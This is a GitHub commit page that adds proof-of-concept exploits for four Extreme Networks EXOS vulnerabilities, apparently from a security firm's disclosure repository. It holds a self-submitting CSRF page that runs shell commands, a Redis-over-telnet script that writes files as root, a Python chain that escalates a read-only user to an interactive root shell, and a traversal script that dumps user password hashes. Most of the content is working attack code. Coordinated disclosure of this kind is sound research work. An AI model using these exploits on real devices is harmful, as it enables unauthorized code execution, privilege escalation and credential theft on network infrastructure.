Skip to content

Commit 5ce5482

Browse files
committed
Add EXOS PoCs
1 parent 79d86af commit 5ce5482

File tree

11 files changed

+350
-0
lines changed

11 files changed

+350
-0
lines changed

CVE-2023-43118/CVE-2023-43118.html

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<!--
2+
Author: Dave Yesland @daveysec with Rhino Security Labs
3+
CVE: CVE-2023-43118
4+
This demonstrates a CSRF vulnerability in Extreme Networks EXOS v32.1.1.6
5+
Opening this in a browser which is authenticated to an admin account in
6+
EXOS Chalet web application will result in code execution on the OS
7+
using the 'run script shell ls' command via the jsonrpc endpoint.
8+
-->
9+
<html>
10+
<body>
11+
<form action="http://<SERVER_IP_HERE>/jsonrpc/" method="POST" enctype="text/plain">
12+
<input type="hidden" name="&#123;&quot;jsonrpc&quot;&#58;&#32;&quot;2&#46;0&quot;&#44;&quot;method&quot;&#58;&#32;&quot;cli&quot;&#44;&quot;params&quot;&#58;&#91;&quot;run&#32;script&#32;shell&#32;ls&quot;&#93;&#44;&quot;id&quot;&#58;&quot;1&quot;&#44;&quot;x&quot;&#58;&quot;" value='"}' />
13+
<input type="submit" value="Submit request" />
14+
</form>
15+
<script>
16+
history.pushState('', '', '/');
17+
document.forms[0].submit();
18+
</script>
19+
</body>
20+
</html>

CVE-2023-43118/README.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# CVE-2023-43118: Extreme Networks EXOS CSRF to RCE
2+
3+
## Information
4+
**Description:** Endpoints of the Chalet application are vulnerable to CSRF allowing a cross-domain request to force an authenticated user to perform actions. This includes the /jsonrpc API which can force an admin user to execute commands on the device (RCE).
5+
**Versions Affected:** 32.1.1.6
6+
**Version Fixed:** See the vendors advisory
7+
**Researcher:** David Yesland (https://twitter.com/daveysec)
8+
**Disclosure Link:** https://rhinosecuritylabs.com/research/extreme-networks-extremexos-vulnerabilities
9+
**Advisory:** https://extreme-networks.my.site.com/ExtrArticleDetail?an=000114379
10+
11+
## Proof-of-Concept Exploit
12+
### Description
13+
Exploits a CSRF vulnerability against an admin user to run commands on the device.
14+
15+
### Usage/Exploitation
16+
As an authenticated admin, load the CSRF POC HTML.

CVE-2023-43119/CVE-2023-43119.sh

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#!/bin/bash
2+
# This is a local exploit which allows an arbitrary file write as the root user
3+
# by abusing the unauthenticated Redis serer running locally as root on EXOS
4+
# Tested on EXOS version 32.1.1.6.
5+
6+
{
7+
echo "config set dir /"
8+
echo "config set dbfilename \"arbitrary_file\""
9+
echo "set test \"some string\""
10+
echo "save"
11+
echo "quit"
12+
} | telnet localhost 6379

CVE-2023-43119/README.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
# CVE-2023-43119: Extreme Networks EXOS Arbitrary File Write as Root
2+
3+
## Information
4+
**Description:** It is possible to use telnet to gain privilege escalation via the Redis server to perform arbitrary filesystem operations with root privilege.
5+
**Versions Affected:** 32.1.1.6
6+
**Version Fixed:** See the vendors advisory
7+
**Researcher:** David Yesland (https://twitter.com/daveysec)
8+
**Disclosure Link:** https://rhinosecuritylabs.com/research/extreme-networks-extremexos-vulnerabilities
9+
**Advisory:** https://extreme-networks.my.site.com/ExtrArticleDetail?an=000114378
10+
11+
## Proof-of-Concept Exploit
12+
### Description
13+
A local Redis server runs on the device with no authentication enabled. This can be abused via telnet by a low privileged user to write files as root.
14+
15+
### Usage/Exploitation
16+
Log into the device as a low privileged user and execute the commands in CVE-2023-43119.sh.
17+
18+
### Screenshot
19+
![file write](poc_image.png)

CVE-2023-43119/poc_image.png

22.9 KB
Loading

CVE-2023-43120/CVE-2023-43120.py

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
"""
2+
Author: Dave Yesland @daveysec with Rhino Security Labs
3+
4+
This EXOS exploit will escalate a read-only user to root by exploiting a localhost
5+
auth bypass vulnerability abusing the web terminal and telnet and a privesc from admin to root.
6+
7+
Tested on EXOS version 32.1.1.6.
8+
9+
This allows a read-only user to run commands as root.
10+
11+
The default user is "user" with and empty password.
12+
"""
13+
14+
15+
from websocket import create_connection
16+
import argparse
17+
import requests
18+
import json
19+
import re
20+
21+
parser = argparse.ArgumentParser(description="User to admin escalation")
22+
parser.add_argument("--target", help="Target (http://<ip>)", required=True)
23+
parser.add_argument("--user", help='Username if different from "user"')
24+
parser.add_argument("--password", help="Password if different from empty")
25+
args = parser.parse_args()
26+
27+
target = args.target
28+
target_host = target.split("//")[1]
29+
30+
if args.user:
31+
USER = args.user
32+
else:
33+
USER = "user"
34+
35+
if args.password:
36+
PASSWORD = args.password
37+
else:
38+
PASSWORD = ""
39+
40+
# Test the target
41+
r = requests.get(f"{target}/terminal")
42+
if r.status_code != 200:
43+
print("[!] No /terminal endpoint found on target, exiting...")
44+
print("[!] Target does not appear to be vulnerable")
45+
exit(1)
46+
47+
attempts = 0
48+
49+
while True:
50+
if attempts > 10:
51+
print("[!] Exploit failed too many times, exiting...")
52+
exit()
53+
attempts += 1
54+
ws = create_connection(f"ws://{target_host}/ws/_websocket/")
55+
result = ws.recv()
56+
# Extract the tty session number from the response
57+
try:
58+
tty = json.loads(result)[1][0].split("/")[2]
59+
except IndexError:
60+
print("[!] Exploit failed getting tty session, trying again...")
61+
continue
62+
# Extract the auth token parameter from the response
63+
auth_token_param = json.loads(result)[1][0].split("/")[3]
64+
# Extract the cookie from the response
65+
cookie = json.loads(result)[1][1]
66+
print(f"[+] Got terminal cookie: {cookie}")
67+
# Add the cookie to the headers
68+
extra_headers = {
69+
"Cookie": f"PYXTERM_AUTH={cookie}",
70+
}
71+
72+
# Now we can connect to the tty session
73+
print(f"[+] Connecting to tty session {tty}...")
74+
ws = create_connection(
75+
f"ws://{target_host}/ws/_websocket/{tty}/{auth_token_param}", header=extra_headers
76+
)
77+
78+
# Setup the session and receive the responses
79+
result = ws.recv()
80+
ws.send('["set_size",56,153,954,1278]')
81+
result = ws.recv()
82+
# Sometimes exploit fails here, if so try again
83+
if "disconnect" in result:
84+
print("[!] Exploit failed connecting to tty, trying again...")
85+
continue
86+
87+
ws.send(f'["stdin","{USER}\r"]')
88+
result = ws.recv()
89+
ws.send(f'["stdin","{PASSWORD}\r"]')
90+
result = ws.recv()
91+
result = ws.recv()
92+
if "Login incorrect" in result:
93+
print("[!] Exploit failed authenticating, wrong user or password...")
94+
exit()
95+
result = ws.recv()
96+
97+
# Send the telnet command to get the admin auth token
98+
# This abuses telnet to send an HTTP request to localhost/auth/token
99+
# This endpoint considers localhost to be privileged and issues an admin session
100+
ws.send(
101+
'["stdin","telnet 127.0.0.1:80\nGET /auth/token HTTP/1.1\nHost: 127.0.0.1\n\n"]'
102+
)
103+
result = ws.recv()
104+
result = ws.recv()
105+
result = ws.recv()
106+
cookies = re.findall(r"Set-Cookie: (.*?);", result)
107+
# Sometimes exploit fails here, if so try again
108+
if cookies:
109+
# Find the admin auth token in the cookies
110+
auth_token = [cookie.split("=")[1] for cookie in cookies][0]
111+
print(f"[*] Found admin auth token: {auth_token}")
112+
else:
113+
print(f"[!] Exploit failed getting an admin auth token, trying again...")
114+
continue
115+
116+
# Close out the session
117+
# Too many open sessions will prevent more from opening
118+
ws.send('["kill_term"]')
119+
ws.close()
120+
break
121+
122+
# Now we can use the admin cookies to get a shell
123+
print("[+] Using admin token to get pseudo shell...")
124+
125+
session = requests.session()
126+
127+
burp0_url = f"{target}/jsonrpc/?show"
128+
burp0_cookies = {"x-auth-token": f"{auth_token}"}
129+
130+
131+
def run_cmd(cmd):
132+
cmd_json = {
133+
"id": "1",
134+
"jsonrpc": "2.0",
135+
"method": "cli",
136+
# \" -d \" allows commands to be executed as root by using the debug flag
137+
"params": [f"run script shell {cmd} 2>&1 \" -d\""],
138+
139+
}
140+
r = session.post(burp0_url, cookies=burp0_cookies, json=cmd_json)
141+
return r
142+
143+
144+
while True:
145+
cmd = input("$ ")
146+
cmd_result = run_cmd(cmd)
147+
print(cmd_result.json()["result"]["CLIoutput"])

CVE-2023-43120/README.md

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# CVE-2023-43120: Extreme Networks EXOS Privilege Escalation from read-only User to Admin
2+
3+
## Information
4+
**Description:** It is possible to escalate permissions from a user with “read-only” permissions to an administrator “read-write” permissions by using the telnet tool may be used to forge an HTTP request to obtain administrator privilege.
5+
**Versions Affected:** 32.1.1.6
6+
**Version Fixed:** See the vendors advisory
7+
**Researcher:** David Yesland (https://twitter.com/daveysec)
8+
**Disclosure Link:** https://rhinosecuritylabs.com/research/extreme-networks-extremexos-vulnerabilities
9+
**Advisory:** https://extreme-networks.my.site.com/ExtrArticleDetail?an=000114377
10+
11+
## Proof-of-Concept Exploit
12+
### Description
13+
This abuses the telnet utility on the device to forge an HTTP request to a locally running privileged API and execute commands as root.
14+
15+
### Usage/Exploitation
16+
```
17+
usage: CVE-2023-43120.py [-h] --target TARGET [--user USER] [--password PASSWORD]
18+
19+
User to admin escalation
20+
21+
optional arguments:
22+
-h, --help show this help message and exit
23+
--target TARGET Target (http://<ip>)
24+
--user USER Username if different from "user"
25+
--password PASSWORD Password if different from empty
26+
```
27+
28+
### Screenshot
29+
![RCE](poc_image.png)

CVE-2023-43120/poc_image.png

27.1 KB
Loading

CVE-2023-43121/CVE-2023-43121.py

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
"""
2+
Author: Dave Yesland @daveysec with Rhino Security Labs
3+
4+
This exploits an unauthenticated file read vulnerability in ExtremeXOS tested
5+
on version 32.1.1.6. The vulnerability is in the /terminal/_static endpoint.
6+
The endpoint takes a filename parameter and reads the file from the device.
7+
The filename parameter is not sanitized and allows for directory traversal.
8+
9+
The device uses a primary.cfg file to store the configuration.
10+
This file contains the user hashes for the device Using the --hashes flag will
11+
print the user hashes from the device.
12+
13+
Older hashes are stored as MD5Crypt.
14+
newer hashes are stored as SHA-256.
15+
"""
16+
17+
import requests
18+
import argparse
19+
from xml.etree import ElementTree as ET
20+
21+
parser = argparse.ArgumentParser()
22+
parser.add_argument("-f", "--file", help="File to read")
23+
parser.add_argument("-t", "--target", help="EXOS Target (http://<ip>)", required=True)
24+
parser.add_argument("-o", "--output", help="Output file to write contents to")
25+
parser.add_argument(
26+
"--hashes", help="Just get the user hashes from the device", action="store_true"
27+
)
28+
args = parser.parse_args()
29+
30+
file_to_read = args.file
31+
target = args.target
32+
output = args.output
33+
34+
TRAVERSAL_SEQUENCE = "../../../../../.."
35+
MAIN_CONFIG_FILE = "/config/primary.cfg"
36+
37+
38+
def read_file(file_path):
39+
"""
40+
read the file from the device
41+
"""
42+
r = requests.get(
43+
f"{target}/terminal/_static?filename={TRAVERSAL_SEQUENCE}{file_path}"
44+
)
45+
return r
46+
47+
48+
def get_hashes(xml):
49+
"""
50+
parse the primary.cfg file and get the user hashes
51+
"""
52+
root = ET.fromstring(xml)
53+
accounts = root.findall("xos-module-aaa/account")
54+
for account in accounts:
55+
username = account.find("name").text
56+
password_hash = account.find("password").text
57+
print(f"{username}:{password_hash}")
58+
59+
60+
# If no file is specified or --hashes, use the default
61+
if not file_to_read or args.hashes:
62+
file_to_read = f"{MAIN_CONFIG_FILE}"
63+
64+
# If hashes just print the users and hashes from primary.cfg and exit
65+
if args.hashes:
66+
print("[+] Attempting to get user hashes from primary.cfg...")
67+
get_hashes(read_file(file_to_read).content)
68+
exit()
69+
# If output is specified, write the file to disk
70+
if output:
71+
with open(output, "wb") as f:
72+
print(f"[+] Attempting to read {file_to_read}...")
73+
f.write(read_file(file_to_read).content)
74+
print(f"[+] File {file_to_read} saved to {output}")
75+
# If no output is specified, print the file contents to the screen
76+
else:
77+
print(read_file(file_to_read).text)

CVE-2023-43121/README.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# CVE-2023-43121: Extreme Networks EXOS Unauthenticated File Read
2+
3+
## Information
4+
**Description:** A directory traversal vulnerability in the Chalet application in EXOS allows any file on the system to be read.
5+
**Versions Affected:** 32.1.1.6
6+
**Version Fixed:** See the vendors advisory
7+
**Researcher:** David Yesland (https://twitter.com/daveysec)
8+
**Disclosure Link:** https://rhinosecuritylabs.com/research/extreme-networks-extremexos-vulnerabilities
9+
**Advisory:** https://extreme-networks.my.site.com/ExtrArticleDetail?an=000114376
10+
11+
## Proof-of-Concept Exploit
12+
### Description
13+
Explain why/how the exploit works.
14+
15+
### Usage/Exploitation
16+
```
17+
usage: CVE-2023-43121.py [-h] [-f FILE] -t TARGET [-o OUTPUT] [--hashes]
18+
19+
optional arguments:
20+
-h, --help show this help message and exit
21+
-f FILE, --file FILE File to read
22+
-t TARGET, --target TARGET
23+
EXOS Target (http://<ip>)
24+
-o OUTPUT, --output OUTPUT
25+
Output file to write contents to
26+
--hashes Just get the user hashes from the device
27+
```
28+
29+
### Screenshot
30+
![file read](poc_image.png)

CVE-2023-43121/poc_image.png

24.7 KB
Loading

0 commit comments

Comments
 (0)